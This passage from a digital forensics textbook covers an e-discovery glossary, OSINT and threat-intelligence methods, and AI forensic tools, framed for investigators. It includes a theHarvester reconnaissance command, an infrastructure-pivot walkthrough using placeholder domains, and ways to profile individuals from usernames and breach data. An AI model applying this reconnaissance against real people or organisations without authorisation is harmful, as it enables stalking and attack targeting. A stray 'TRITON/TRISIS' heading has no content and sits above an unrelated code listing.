Chain of Custody The documented chronological history of digital evidence. It records who handled the evidence, when, and for what purpose, from collection to presentation, ensuring its integrity.

Custodian An individual who has control over or possession of relevant digital information (ESI) for a legal case or investigation.

Data Exfiltration The unauthorized transfer or copying of data from a computer or network to an external location, such as a personal USB drive or cloud storage account.

Data Map A document or system that inventories a company's data, showing what types of information exist, where they are stored, and how they are managed.

Data Retention Policy A company's established rules for how long specific types of information must be kept and when it should be destroyed.

De-duplication An automated process that identifies and removes exact duplicate copies of files from a dataset, typically by comparing their cryptographic hash values. This reduces the amount of data to be reviewed.

Digital Forensics The specialized field of investigating and analyzing digital devices to find evidence of a specific action or event, often to reconstruct a timeline or prove intent.

e-discovery (Electronic Discovery) The formal process of identifying, preserving, collecting, processing, reviewing, and producing digital information (ESI) as evidence in legal cases or corporate investigations.

EDRM (Electronic Discovery Reference Model) A standard framework that outlines the stages of the e-discovery process, from initial data management through to presenting evidence in court.

ESI (Electronically Stored Information) The legal term for any type of information that is created, stored, or used in a digital format, such as emails, documents, databases, and social media posts.

EXIF (Exchangeable Image File Format) A standard for storing metadata within digital image files. This data can include the date, time, camera settings, and sometimes GPS location where the photo was taken.

Forensically Sound A term describing a method of collecting and handling digital evidence that does not alter the original data and is fully documented, ensuring the evidence is admissible in court.

FRCP (Federal Rules of Civil Procedure) The set of rules that govern court procedures for civil (non-criminal) lawsuits in United States federal courts, including the rules for e-discovery.

GDPR (General Data Protection Regulation) A comprehensive data privacy law from the European Union (EU) that regulates how the personal data of EU citizens can be collected, processed, and transferred.

Hashing (Cryptographic Hash) The process of using a mathematical algorithm to create a unique, fixed-size digital fingerprint (a "hash") for a piece of data. It is used to verify that a file has not been altered.

IG (Information Governance) A company's overall strategy and set of policies for managing its information to meet business needs, legal requirements, and reduce risks.

IP (Intellectual Property) Valuable, non-physical assets owned by a company, such as trade secrets, patents, copyrights, and proprietary formulas.

Legal Hold (Litigation Hold) A formal instruction from a company's legal team to employees, ordering them to preserve all potentially relevant data and suspend normal data destruction routines because of an expected lawsuit.

Metadata Data that provides information about other data. For a file, this could include its creation date, last modification date, author, and file size.

Native Format The original format in which a file was created, such as a Microsoft Word file (.docx) or an Excel spreadsheet (.xlsx).

Proportionality A legal principle in e-discovery that requires the cost and effort of collecting evidence to be proportional to the value and importance of the case.

Redaction The process of permanently removing or blacking out sensitive or privileged information from a document before it is shared with others.

Spoliation The intentional, reckless, or negligent destruction or alteration of evidence that is required for a legal case. Courts can issue severe penalties for spoliation.

TAR (Technology-Assisted Review) A process that uses machine learning and artificial intelligence to help human reviewers find relevant documents in a large collection of ESI, making the review process faster and more efficient.

Targeted Collection An e-discovery collection method where only specific, relevant data is gathered from a device (e.g., certain folders or date ranges), as opposed to creating a full image of the entire drive.

Write-Blocker A hardware device that allows an investigator to read data from a storage device (like a hard drive) without any possibility of writing to or changing the original data.

Chapter 22

OSINT and Threat Intelligence Integration

Introduction

In digital forensics, finding a single piece of evidence is only the start. An investigator must also understand who the attacker is, why they attacked, and how they operate. This chapter explains how to find this information using external data sources. We will cover the core methods of Open-Source Intelligence (OSINT), the importance of operational security (OPSEC), and how to use Threat Intelligence to understand an attacker's bigger plan.

22.1 Intelligence-Led Investigations

22.1.1 Introduction

A digital forensic investigation often starts with an artifact. An artifact can be a malicious file, a suspicious IP address in a log file, or a user account showing unusual activity. Analyzing these artifacts answers the important question of *what* happened, but it is only the first step. For a truly effective investigation, we must look beyond the artifact to answer more difficult questions: *who* was responsible, *why* did they do it, and *how* did they operate? This chapter explains how to add more information to forensic findings using external data from Open-Source Intelligence (OSINT) and Threat Intelligence.

The main technique for this process is the *pivot*. A pivot is when you use one piece of information to find another. This creates a chain of evidence that can reveal an attacker's identity, infrastructure, and methods. For example, an investigator might pivot from a malicious domain name to the email address used to register it. From that email address, they could find other domains or social media profiles that belong to the same person. This chapter provides

the basic principles and practical techniques for pivoting from single pieces of forensic data to complete and useful intelligence.

22.1.2 Legal and Ethical Boundaries

Understanding the Legal Landscape

A common mistake is thinking that "publicly available" information can be collected and used freely. This is a dangerous assumption. Investigators in any country must be very aware of the laws about data privacy and computer use. For example, the General Data Protection Regulation (GDPR) in Europe and the California Consumer Privacy Act (CCPA) in the United States have strict rules for collecting and using personal data, no matter where the data came from [199]. Also, laws like the Computer Fraud and Abuse Act (CFAA) in the U.S. can make it a crime to access computer systems without permission. This could include *scraping*, which is automatically copying data from a website, if it violates the website's Terms of Service .

To make sure evidence can be used in court, it is very important to document the source, method, and timestamp for every piece of data collected during an OSINT investigation. This practice protects the *chain of custody*, which is the detailed log of how evidence is handled. It ensures that the origin of all information can be proven.

Ethical Considerations and "Sock Puppets"

To hide their real identity, investigators often use a *sock puppet*. A sock puppet is a fake online identity, with its own email addresses and social media profiles. Sock puppets are a necessary tool for operational security, but using them creates important ethical questions. There is a clear difference between passive observation (like viewing a public social media profile) and active deception (like sending a friend request to a target to see private information). Active deception can be seen as *pretexting*, which is creating a fake story to get information, or *social engineering*, which is manipulating people to get information. These actions may cross legal or ethical lines, depending on the situation and location.

In addition, many websites clearly do not allow the use of fake identities or automated scraping in their Terms of Service (ToS). Violating a website's ToS is not usually a crime, but it can lead to being sued for money or being blocked from the site. It can also make a court question the investigator's methods.

A powerful real-world example is the case of Hector Monsegur, also known as "Sabu," a key member of the LulzSec hacking group. Investigators connected his online identities using OSINT techniques, which finally led to finding and arresting him [231]. This case shows that just as investigators use OSINT to identify criminals, attackers and their supporters can use the same techniques to identify investigators who do not use good operational security.

22.1.3 Investigator Operational Security (OPSEC)

The most important rule of gathering intelligence is: *don't become the target*. Every action an investigator takes online leaves a *digital footprint*, which is a trail of data left behind from online activity. Without the right safety steps, these footprints can warn the person being investigated, damage the case, or even expose the investigator to a revenge attack. This is where *Operational Security (OPSEC)* becomes extremely important. OPSEC is the process of protecting small pieces of information that could be grouped together to reveal something important [191]. Key OPSEC techniques for OSINT work include:

- **Isolation Environments:** All investigation work should be done inside a dedicated *Virtual Machine (VM)* or a container. A VM is a complete, separate operating system running inside another system, and a container is a lightweight, isolated software package. This isolation separates the investigation tools and data from the investigator's main computer, preventing accidental data mixing. If the environment is infected by a malicious file or website, it can be safely deleted without harming the main machine.
- **Anonymization Networks:** All internet traffic from an investigation should be sent through a trusted *Virtual Private Network (VPN)* or an anonymizing network like Tor. A VPN creates a secure, encrypted connection over the internet, and Tor hides a user's location by routing traffic through many different servers. This hides the investigator's real *IP address*, which is the unique address of a device on the internet. This makes it hard for a target to trace activities back to the investigator's organization or location.
- **Sterile Identities:** Sock puppet accounts must be created and managed very carefully. They must have absolutely no connection to the investigator's real identity, organization, or personal accounts. This means using different email providers, unique usernames and passwords, and never reusing information.
- **No Cross-Contamination:** The most common OPSEC mistake is accidental cross-contamination. An investigator must never use their personal or work web browser, accounts, or devices for OSINT work. Logging into a personal email account just once from inside the investigation VM can permanently link the sock puppet to the investigator's real identity.

22.2 Open-Source Intelligence (OSINT)

22.2.1 Defining the OSINT Discipline

People often think OSINT is just simple web searching, but it is a formal method for gathering information. The U.S. Director of National Intelligence (DNI) defines it as intelligence "produced from publicly available information

that is collected, exploited, and disseminated in a timely manner to an appropriate audience for the purpose of addressing a specific intelligence requirement" [59]. The key ideas here are *publicly available* and *intelligence requirement*. OSINT is not random searching; it is a structured process of answering specific questions using open, public sources. In OSINT, it is important to understand the difference between two types of *reconnaissance*, which is the act of exploring to find information:

- **Passive Reconnaissance:** Gathering information without directly interacting with the target's systems. This includes using search engines, searching third-party databases (like *passive DNS*, which stores historical domain name lookups), and analyzing public records. This is the safest and most common method for OSINT because it does not disturb the target or warn them.
- **Active Reconnaissance:** Directly testing or scanning the target's systems. This includes activities like *port scanning* (checking which network ports are open on a server) or *banner grabbing* (collecting information sent by a service when you connect to it). While it can provide valuable data, active reconnaissance is easy to detect and has major legal risks, as we discussed in Section 22.1.2.

22.2.2 The OSINT Framework: A Structured Approach

Searching without a plan is inefficient. It can lead to missing information or getting stuck. Professional intelligence experts use the *Intelligence Cycle*, a structured method that makes sure an investigation is complete and organized [36]. The phases of the cycle are:

(1) **Requirements:** This phase is about defining the goal. Before any searching starts, the investigator must decide the main questions that need answers. These are the "intelligence requirements." Examples include: "Who owns this malicious domain?", "What other systems are controlled by this attacker?", or "What are the known tactics of the group using this malware?".

(2) **Source Identification & Collection:** Once the requirements are set, the investigator finds the best sources for the answers and begins to collect raw data. This could involve social media sites, data breach records, domain registration services, or special search engines.

(3) **Processing & Analysis:** Raw data is not yet intelligence. In this phase, the collected data is organized, filtered to remove useless information, and analyzed to find patterns and connections. This step puts the individual pieces of data together to make sense, like assembling a puzzle.

(4) **Dissemination & Feedback:** Finally, the processed intelligence is reported to the people who need it in a clear, useful format. This could be a

formal report for a court case, a summary for management, or a list of indicators for a security team. Feedback from these people helps to improve the questions for the next investigation, and the cycle starts again.

22.3 Core OSINT Techniques for Investigators

22.3.1 Profiling Individuals and Groups

Often, an investigation starts with a single piece of information about a person—a username, email address, or real name. This single data point can be used as a pivot to find a large amount of information. Common techniques include:

- **Username Aggregation:** Many people use the same username on multiple online services. Tools like WhatsMyName [228] and Sherlock [205] automatically check hundreds of social media sites, forums, and other platforms for a specific username. This can quickly create a map of a person's online activity.
- **Data Breach Analysis:** A *data breach repository* is a collection of data stolen from companies. These repositories, especially Have I Been Pwned [103], are very useful. By searching for an email address, an investigator can see which data breaches the account was part of. This can reveal related usernames, password information, and the types of sites the person uses.
- **Social Media Analysis:** Public social media profiles can reveal a person's connections (friends/followers), interests, work history, and even physical location through *geotagged* photos or posts. A geotag is location data added to a file.

Practical Demo: `theHarvester`, A powerful open-source tool for infrastructure reconnaissance is `theHarvester` [126]. It can gather emails, subdomains, hosts, and open ports for a target domain from public sources like search engines and PGP key servers. The following command searches for assets related to 'example.com' using Google, Bing, and LinkedIn, with a search limit of 500 results.

Listing 22.1: Using theHarvester to gather intelligence on a domain

```
theHarvester -d example.com -l 500 -b google,bing,linkedin
```

22.3.2 Investigating Infrastructure: Domains and IPs

The goal of analyzing infrastructure is to find all of an attacker's servers, domains, and online services. This helps us understand what they can do and find more clues about their attacks. These clues are often called *Indicators of*

Compromise (IOCs), which are pieces of data that show a system has been hacked. Key tools and data sources include:

- **WHOIS Records:** A *WHOIS* lookup gives you the registration data for a domain name. While privacy services now hide most owner details, it still provides valuable information like the company that registered the domain, the registration and expiration dates, and the nameservers.
- **DNS Analysis:** The *Domain Name System (DNS)* is the internet's phonebook that turns domain names into IP addresses. Tools like 'dig' and 'nslookup' can ask the DNS for records like A (IP address), MX (mail servers), and TXT (often used for text information). Passive DNS databases (from services like VirusTotal [223] or RiskIQ [177]) are even more powerful. These databases store old DNS records, letting an investigator see which IP addresses a domain used in the past, and which domains were on a specific IP address.
- **Reverse IP Lookup:** This technique finds all domains that are hosted on a single IP address. This is very useful for finding groups of malicious websites that the same attacker might operate on a shared server.
- **Internet-Wide Scanners:** Services like Shodan [144] and Censys [35] constantly scan the entire internet. They create an index of the services running on every IP address. An investigator can search for an IP to see its open ports, *service banners* (information a service sends, including software versions), and possible weaknesses.

Algorithmic Breakdown: The Infrastructure Pivot Process A normal infrastructure investigation follows a logical, repeating process. You pivot from one piece of information to the next.

(1) **Start:** Begin with a single Indicator of Compromise (IOC), like a malicious IP address '1.2.3.4' found in a firewall log.

(2) **Reverse IP Lookup:** Do a reverse IP lookup on '1.2.3.4'. Discover it hosts two domains: 'evil-domain.com' and 'another-site.com'.

(3) **WHOIS Analysis:** Run a WHOIS query on 'evil-domain.com'. Find the owner's email 'badguy@email.com' (if not hidden) and the domain's creation date.

(4) **Pivot on Email:** Perform a "reverse WHOIS" search using a special database. This type of search finds all domains registered with a specific email address. Discover 'badguy@email.com' was also used to register 'secret-c2.net'.

(5) **Passive DNS Query:** Search for 'secret-c2.net' in a passive DNS database. Find that it previously pointed to a different IP address, '5.6.7.8'.

(6) **Analyze New IP:** Begin the process again with IP ‘5.6.7.8‘. Search for it on Shodan, do another reverse IP lookup, and continue mapping the attacker's network.

22.3.3 Monitoring the Cybercriminal Underground

The cybercriminal world, including *dark web* markets and special forums, is a great source of intelligence. The dark web is a part of the internet that requires special software to access and is not indexed by search engines. Here, attackers trade stolen data, sell malware and exploits, and discuss their *Tactics, Techniques, and Procedures (TTPs)*, which are their methods of attack.

Monitoring this space has special difficulties. Accessing the dark web requires tools like the Tor Browser. OPSEC is not just recommended; it is absolutely critical, as these are dangerous places online. Also, getting into exclusive criminal forums may require payment, checking by existing members, or a good reputation, making them hard for investigators to get into. Intelligence gathering goals in this space include:

- Monitoring for mentions of an organization's name, domains, or employee names.
- Finding stolen company login details, customer data, or secret information being sold.
- Understanding new attack methods (TTPs) and new types of malware before they are widely used.

22.4 Integrating Threat Intelligence

22.4.1 Understanding Threat Intelligence

OSINT provides raw data, but *Threat Intelligence (TI)* is the finished product. According to Gartner, threat intelligence is evidence-based knowledge, including context, mechanisms, indicators, and actionable advice about a current or future threat to assets [82]. It changes raw data into something an organization can use to make decisions. Threat intelligence is often separated into three levels:

- **Strategic:** High-level information for non-technical decision-makers (like top-level managers). It focuses on general patterns and business risks. Example: "Ransomware groups from Eastern Europe that want money are targeting the healthcare industry more often."
- **Operational:** Information about an attacker's methods, or TTPs. This is for security managers and response teams, helping them understand *how* an attacker operates. Example: "The threat group APT28 uses spearphishing emails with malicious macros to get into a network."

- **Tactical:** Specific Indicators of Compromise (IOCs) used for quick detection and response. This is for security analysts and computer systems. Example: "Block incoming connections from IP address '198.51.100.10' and add file hash 'abc...' to the security watchlist."

22.4.2 The Pyramid of Pain

Not all tactical indicators have the same value. In 2013, cybersecurity professional David J. Bianco created the "Pyramid of Pain" to explain this idea [18]. The model is a pyramid that organizes different types of IOCs by how hard it is for an attacker to change them. The harder it is to change, the more "pain" it causes the attacker when their indicators are blocked. The levels, from bottom (easy to change) to top (hard to change), are:

- **Hash Values:** Changing just one bit in a file changes its hash value. It is very easy for an attacker to change this.
- **IP Addresses:** Attackers often switch between hacked servers or cloud systems. These are easy to change.
- **Domain Names:** This requires registering a new domain, but it is still fairly easy for a serious attacker.
- **Network/Host Artifacts:** These are digital clues, like signatures or patterns, left by malware on a computer (host) or in network traffic. An example is a specific User-Agent string or a pattern of communication with a *Command and Control (C2)* server, which is a server used to control malware. These are more complex for an attacker to change.
- **Tools:** The specific software an attacker uses (e.g., Mimikatz for stealing passwords, PsExec for moving inside a network). Changing tools forces the attacker to learn and use new software.
- **TTPs (Tactics, Techniques, and Procedures):** This is the attacker's behavior—their plan. It shows how they think and operate. Forcing an attacker to change their TTPs is extremely difficult and expensive for them. They have to give up their favorite methods and create completely new ones. For this reason, detecting and blocking attacks based on TTPs is the most effective defense strategy.

22.4.3 Leveraging Intelligence Platforms and Standards

During an investigation, we can add information to forensic artifacts using global intelligence platforms. Key platforms include:

- **VirusTotal:** A service that combines results from over 70 antivirus scanners and analysis tools. Uploading a file or searching a hash, URL, or IP address gives you immediate information about whether it is known

to be malicious, which malware family it belongs to, and what systems it communicates with [223].

- **AbuseIPDB:** A database created by a community of system administrators who report malicious IP addresses involved in hacking, spam, and *DDoS* attacks. A DDoS attack tries to make an online service unavailable by overwhelming it with traffic from many sources [141].
- **MISP (Malware Information Sharing Platform):** An open-source threat intelligence platform for sharing, storing, and *correlating* (finding relationships between) IOCs and threat information [201].

To make it easier to share this information automatically, industry standards were created:

- **STIX™(Structured Threat Information eXpression):** A standard language for describing threat intelligence in a format that computers can read [163].
- **TAXII™(Trusted Automated eXchange of Intelligence Information):** A standard protocol for sharing STIX-formatted intelligence using HTTPS [164].

Practical Demo: Manual Enrichment,

Imagine a forensic analyst finds a file hash, '5ae26ce5f2a17a42a553d1e1de4033621457889341 39b8144c2195828455f75b', on a hacked computer. By searching this hash on VirusTotal, they instantly discover:

- **Detection Ratio:** 65 out of 72 security products identify the file as malicious.
- **Malware Family:** It is identified as a type of the Emotet trojan.
- **First Seen:** The file was first sent to VirusTotal over a year ago. This means it is part of a long-running attack campaign.
- **Behavioral Analysis:** The file is known to contact specific Command and Control (C2) domains, like 'updatemysystem.xyz'. These domains become new IOCs for the investigation.

In seconds, a single artifact has been improved with strategic, operational, and tactical intelligence.

22.4.4 Proactive Threat Hunting

Traditionally, digital forensics is reactive. It starts after an incident is found. By using OSINT and threat intelligence, organizations can change to a proactive approach called *threat hunting*.

Threat hunting is the proactive and repeating process of searching through networks, computers, and data to find and stop advanced threats that avoid existing automated security tools. Unlike automated alerts, threat hunting is led by human curiosity and is based on a *hypothesis*, which is an educated guess [129]. The process is often described as a loop:

(1) **Create Hypothesis:** The hunt starts with a hypothesis, often based on threat intelligence. For example: "The attacker group FIN7 is known to use scheduled tasks to stay on a system. Let's assume they are in our network and search for evidence of their TTPs."

(2) **Investigate:** The hunter uses tools like PowerShell, *SIEM* (Security Information and Event Management) systems, or *EDR* (Endpoint Detection and Response) platforms to collect data related to the hypothesis. A SIEM collects and analyzes security data from across the network, while an EDR monitors and responds to threats on individual computers. In this case, they would collect data on all newly created or changed scheduled tasks.

(3) **Uncover:** The hunter analyzes the collected data, looking for unusual things and patterns that match the guessed threat behavior. They might look for tasks with suspicious names (e.g., 'Update'), tasks that run from strange folders (e.g., '`C:\Users\Public\`'), or tasks that run *obfuscated* (intentionally confusing) PowerShell scripts.

(4) **Inform & Enrich:** If a threat is found, it starts a full incident response process. The TTPs, tools, and artifacts connected to the threat are recorded and used to create new, automated defenses. This improves the organization's total security, making it stronger for the next hunt. The information from a successful hunt helps to create better hypotheses for the future.

Conclusion

In this chapter, we learned how to use public information (OSINT) and attacker data (Threat Intelligence) to add context to our evidence. The most important skills are pivoting from one clue to the next and using good operational security (OPSEC) to protect your investigation. This knowledge helps an investigator identify an attacker's methods and tools, which is necessary to stop current incidents and prevent future ones. In the next chapter, we will apply these intelligence skills to investigate specific types of malware.

Acronyms and Terminology

AbuseIPDB A community-driven database where system administrators report and can check IP addresses involved in malicious activities like hacking, spam, and DDoS attacks.

Active Reconnaissance The process of gathering information by directly interacting with a target's systems, such as by scanning their network. This method is detectable by the target.

Artifact A piece of digital evidence, such as a file, IP address, or log entry, that indicates an event or activity has occurred on a system.

Banner Grabbing A technique used to collect the information that a service (like a web server) sends back when a connection is initiated, which often includes the software name and version.

C2 (Command and Control) Server A computer controlled by an attacker that is used to send commands to malware-infected systems and receive stolen data from them.

CCPA (California Consumer Privacy Act) A California state law that provides residents with strict rights and control over their personal data collected by businesses.

CFAA (Computer Fraud and Abuse Act) A United States law that makes it a federal crime to access a computer system without proper authorization.

Chain of Custody A chronological document trail showing the seizure, custody, control, transfer, analysis, and disposition of evidence, ensuring its integrity.

Correlating The process of analyzing and identifying relationships or patterns between different pieces of information, such as linking multiple Indicators of Compromise to a single threat actor.

Dark Web A section of the internet that is not indexed by standard search engines and requires special software (like Tor) to access. It is often used for anonymous and illicit activities.

Data Breach Repository A database or service, like Have I Been Pwned, that collects and catalogs information from security breaches, such as leaked usernames, emails, and passwords.

DDoS (Distributed Denial-of-Service) A type of cyber attack that aims to make an online service unavailable by overwhelming it with traffic from a large number of compromised computers.

Digital Footprint The trail of data and information that a person or entity leaves behind while using the internet.

DNI (Director of National Intelligence) The head of the United States Intelligence Community, which sets formal definitions for intelligence disciplines.

DNS (Domain Name System) The internet's directory service that translates human-readable domain names (like www.example.com) into machine-readable IP addresses (like 93.184.216.34).

EDR (Endpoint Detection and Response) A cybersecurity technology that continuously monitors individual computers and devices (endpoints) to detect and respond to advanced threats.

Geotagged A piece of digital content, such as a photo or social media post, that has geographical location data attached to it.

GDPR (General Data Protection Regulation) A European Union law that imposes strict rules on organizations regarding the collection, use, and protection of personal data.

Hypothesis In the context of threat hunting, an educated guess or theory about a potential threat that guides the search for malicious activity within a network.

IOCs (Indicators of Compromise) Pieces of forensic data, such as IP addresses, file hashes, or domain names, that serve as evidence that a security breach has occurred.

IP Address A unique numerical label assigned to every device connected to a computer network, used to identify it and allow it to communicate with other devices.

Intelligence Cycle A structured, multi-phase process used by investigators to convert raw information into actionable intelligence, involving requirements, collection, analysis, and dissemination.

MISP (Malware Information Sharing Platform) An open-source platform designed for sharing, storing, and analyzing cyber threat intelligence, including Indicators of Compromise.

Obfuscated The practice of deliberately making code or data confusing and difficult to read, often used by malware authors to hide their code's true intent.

OPSEC (Operational Security) The practice of protecting your own identity, activities, and data during an investigation to avoid alerting the target or becoming a target yourself.

OSINT (Open-Source Intelligence) The discipline of collecting and analyzing information from publicly available sources to produce actionable intelligence.

Passive DNS A database system that records and archives historical Domain Name System (DNS) data, allowing investigators to see past associations between domain names and IP addresses.

Passive Reconnaissance Gathering information about a target from public sources without directly interacting with their systems, making the activity very difficult to detect.

Pivot An investigative technique where one piece of information (like an email address) is used as a starting point to find other related pieces of information (like social media profiles or other domains).

Port Scanning The act of probing a server to see which network ports are open, which can reveal what services are running on the system.

Pretexting The act of creating a fabricated scenario or false story to trick someone into revealing information they otherwise would not.

Pyramid of Pain A model that illustrates how different types of Indicators of Compromise affect an attacker. Blocking indicators at the top of the pyramid (like TTPs) causes more "pain" (difficulty) for the attacker than blocking those at the bottom (like file hashes).

Reconnaissance The act of exploring and gathering preliminary information about a target as the first stage of an investigation or attack.

Reverse IP Lookup A technique used to find all of the domain names that are hosted on a single IP address.

Scraping The automated process of using software to extract large amounts of data from websites.

Service Banners Information, often including software name and version, that is sent by a network service when it is connected to.

SIEM (Security Information and Event Management) A system that collects, aggregates, and analyzes security-related log data from across an entire IT infrastructure to provide a unified view of security events.

Social Engineering The psychological manipulation of people to trick them into divulging confidential information or performing specific actions.

Sock Puppet A fake online identity, including social media profiles and email accounts, created by an investigator to conduct research anonymously.

STIX™(Structured Threat Information eXpression) A standardized, machine-readable language used to describe and share cyber threat intelligence.

TAXII™(Trusted Automated eXchange of Intelligence Information) A standard protocol for automatically sharing cyber threat intelligence (often formatted in STIX) between different systems and organizations.

Threat Hunting A proactive and analyst-driven process of searching through networks and datasets to detect and isolate advanced threats that evade automated security solutions.

Threat Intelligence (TI) Evidence-based knowledge about existing or emerging threats, which has been analyzed and provides context to help organizations protect themselves.

ToS (Terms of Service) The legal agreement between a service provider and a person who wants to use that service, outlining the rules and guidelines for its use.

Tor A free software and open network that helps users browse the internet anonymously by routing their traffic through a series of volunteer-operated servers.

TTPs (Tactics, Techniques, and Procedures) The patterns of behavior and specific methods used by a particular cyber threat actor or group.

VirusTotal An online service that analyzes files and URLs for malware by using over 70 different antivirus scanners and analysis tools.

VM (Virtual Machine) A software-based emulation of a complete computer system that runs on a physical host, used to create an isolated environment for safe analysis.

VPN (Virtual Private Network) A service that creates a secure, encrypted connection over a public network (like the internet), masking the user's real IP address and location.

WHOIS A protocol used to query databases to find out the registration information for a domain name or IP address, such as the owner and creation date.

Part 6

AI, Synthetic Media, and Counter-Forensics

This part explores the most modern area of digital forensics. Here, advanced technologies give investigators powerful new tools, but also create new challenges. We will cover three main topics. First is the use of *artificial intelligence (AI)*, which means using smart computer systems to automate analysis. Second is the problem of *deepfakes* and *synthetic media*. These are fake videos, images, or audio created by AI that look and sound very real. Third, we will examine *counter-forensic techniques*, which are methods that skilled opponents use to hide their digital activities and block an investigation.

Chapter 23

AI-Powered Forensic Tools and Analysis

Introduction

Digital investigations often involve enormous amounts of data, making it impossible for a human to review everything. Artificial Intelligence (AI) helps investigators find important evidence quickly. This chapter teaches you the basic concepts of AI and Machine Learning (ML) for digital forensics. We will explore how AI helps analyze text, images, and network data. We will also discuss the important ethical challenges and rules for using these powerful tools in an investigation.

23.1 AI/ML Concepts for Investigators

23.1.1 Introduction to AI as an Investigative Partner

Using AI in forensics is mainly about smart automation. The main goal is to give repetitive, large tasks to a machine. This frees the human expert from boring, low-level work. These tasks include sorting millions of files into categories, identifying known malware signatures, marking suspicious network connections, or converting audio to text.

By handling this first sorting step, an AI system gives an investigator a dataset that is already organized, prioritized, and includes initial results. However, this partnership changes the investigator's job. The job is not just about finding evidence, but also about checking and explaining the results from an AI model. The investigator must be able to carefully review the AI's suggestions, understand its possible limits, and explain its results to people who are not technical experts, such as a jury or lawyers. The human expert is still in charge, and AI acts as a strong assistant that never gets tired.

23.1.2 Supervised Learning: Training on Known Data

Supervised learning is perhaps the most common type of machine learning. The process is like teaching a student with flashcards. We give the AI model a lot of data that already has the correct answers. These answers are called "labels." The model's goal is to learn the patterns that connect the data to its correct label. By doing this, it learns to predict the correct label for new data it has not seen before.

In digital forensics, this method is very powerful for classification tasks. A classification task is any problem where we need to assign a category to a piece of data.

- **Malware Classification:** *Malware* is software created to harm a computer system. An investigator can train a model using a huge library of known malware samples. Each sample is labeled with its family (e.g., "Zeus," "WannaCry," "Emotet"). When a new, unknown executable file is found on a suspect's computer, the trained model can analyze its features (like its code structure and behavior) and predict which malware family it belongs to, or if it is harmless [185].
- **Spam/Phishing Email Detection:** A model can be trained on a large collection of emails, each labeled as "legitimate," "spam," or "phishing." *Phishing* is an attack where criminals try to trick people into giving away sensitive information like passwords. The model learns the text and structure patterns for each category. It can then be used to automatically scan an employee's inbox to find suspicious emails that might be part of an attack.
- **Illicit Image Categorization:** In cases of child exploitation, investigators have the very difficult and slow task of reviewing huge numbers of images. A supervised model can be trained on a dataset of known *Child Sexual Abuse Material (CSAM)*, which is illegal content involving children. The model can then quickly scan a seized hard drive and mark images that are very likely to be illegal. This allows human reviewers to focus on the most important evidence and see less harmful material.

23.1.3 Unsupervised Learning: Finding Hidden Patterns

In many investigations, we have data without labels or correct answers. We might have a huge amount of documents, network logs, or emails, but we do not know what to look for. This is where *unsupervised learning* is useful. Instead of being given correct answers, the model gets unlabeled data. The model's job is to find natural groups, patterns, or unusual data by itself. It is like giving a historian a box of unsorted letters and asking them to group them by topic or author without any previous information.

Forensic uses of unsupervised learning focus on discovery and *anomaly detection*. Anomaly detection is the process of finding items or events that are unusual and do not fit with the rest of the data.

- **User Behavior Analytics (UBA):** In cases where an employee misuses their access or a hacker steals an account, *User Behavior Analytics (UBA)* systems watch user activity logs (e.g., logins, file access, network traffic). An unsupervised model groups these activities to create a profile of normal behavior for each user. This is called a "behavioral baseline." When a user's activity is suddenly different from their normal pattern—for example, logging in at 3 AM from a new country or downloading gigabytes of sensitive data—the model marks this unusual activity as a high-risk event that needs to be investigated immediately [180].

- **Topic Modeling:** Imagine you seize a terabyte of documents from a company suspected of fraud. An investigator can use *topic modeling*, which is an automated technique that scans large sets of documents and identifies the main subjects within them. The algorithm might group documents into topics like "Project Titan," "Financial Projections," "Employee Problems," or "Selling Assets." This gives the investigator a quick understanding of the key topics without having to read any documents first.

Real-World Story: The Enron scandal, In the early 2000s, investigators had a dataset of over 600,000 emails from Enron executives [117]. Reviewing them was a very large manual task that took months. Today, an investigator could use unsupervised topic modeling on this dataset. In just a few hours or days, the investigator would automatically receive groups of emails related to key themes like *creative accounting*, *Special Purpose Entities (SPEs)*, and the *California energy crisis*. This would point directly to the most important evidence.

23.2 Practical Applications in Digital Forensics

23.2.1 Natural Language Processing for Textual Evidence

Textual data—like emails, chat logs, documents, and reports—is often a key part of investigations into business crimes. AI, through the field of *Natural Language Processing (NLP)*, has changed how this evidence is analyzed. NLP is a field of AI that helps computers understand and analyze human language.

Simple keyword searching has many limits. It cannot find synonyms (e.g., a search for "fraud" misses "scam" or "deceit"), understand context, or recognize secret code words. Modern e-discovery tools use NLP to solve these problems. **Concept searching** allows an investigator to find documents about a general idea, like "intent to mislead," even if the specific keywords are not there [179]. The AI model understands the relationships between the meanings of words and can find relevant documents based on their overall meaning.

Also, **Named Entity Recognition (NER)** is a technique that automatically finds and pulls out key information from text. An NER model can scan millions of documents that are not in a database and pull out every mention of

a person, organization, location, amount of money, or date. It can then organize this data for creating a timeline of events or a chart showing connections between people and places. This automates what used to be a slow and difficult manual process.

For example, a simple NER model could process a sentence and extract organized data, as shown by this sample Python code using the popular spaCy library [101]:

Real-World Story: The TRITON/TRISIS malware,

Listing 23.1: Illustrative Python snippet demonstrating NER with spaCy

```
# Load a pre-trained English NLP model
import spacy

nlp = spacy.load("en_core_web_sm")

# Text from a hypothetical seized document
text = """John Doe from Acme Corp met with Jane Smith
     in London on Dec 5, 2023 to discuss the merger."""

# Process the text with the model
doc = nlp(text)

# The model extracts entities and their labels:
# John Doe (PERSON),
# Acme Corp (ORG),
# Jane Smith (PERSON),
# London (GPE - Geopolitical Entity),
# Dec 5, 2023 (DATE)
```

23.2.2 Computer Vision for Image and Video Analysis

Just as NLP works with text, *computer vision* uses AI to understand images and video. Computer vision is a field of AI that teaches computers to understand and interpret images and videos. In cases with thousands of hours of surveillance video or millions of seized images, AI is essential for sorting and analyzing this data.

Image classification models can quickly sort a collection of pictures into useful categories like "documents," "screenshots," "portraits," "vehicles," or "weapons." This allows investigators to focus on the most relevant content. Forensic tools like Autopsy are adding these features to make the first step of checking evidence faster .

In addition to simple sorting, object and facial recognition models can scan entire datasets for specific items or people. An investigator could ask a model to find every frame in a video that contains a specific company logo, a weapon, or a person from a prepared list of people to look for.

A growing challenge is AI-manipulated media, or "*deepfakes*." Deepfakes are fake videos or images created by AI that look very realistic. While AI can create these fakes, AI is also our best way to detect them. Forensic models are being created to detect the small clues of manipulation that humans cannot see. These models analyze things like problems with lighting and shadows, unnatural digital patterns, or unnatural biological signs, such as strange blinking patterns or facial movements. This helps to determine if a video or image is real or fake [213].

23.2.3 Anomaly Detection in System and Network Data

In cybersecurity incidents, the evidence is often hidden in millions of log entries from firewalls, servers, and computers. AI-powered anomaly detection, often found in *User and Entity Behavior Analytics (UEBA)* platforms, is designed to find the signs of bad activity among all the normal data.

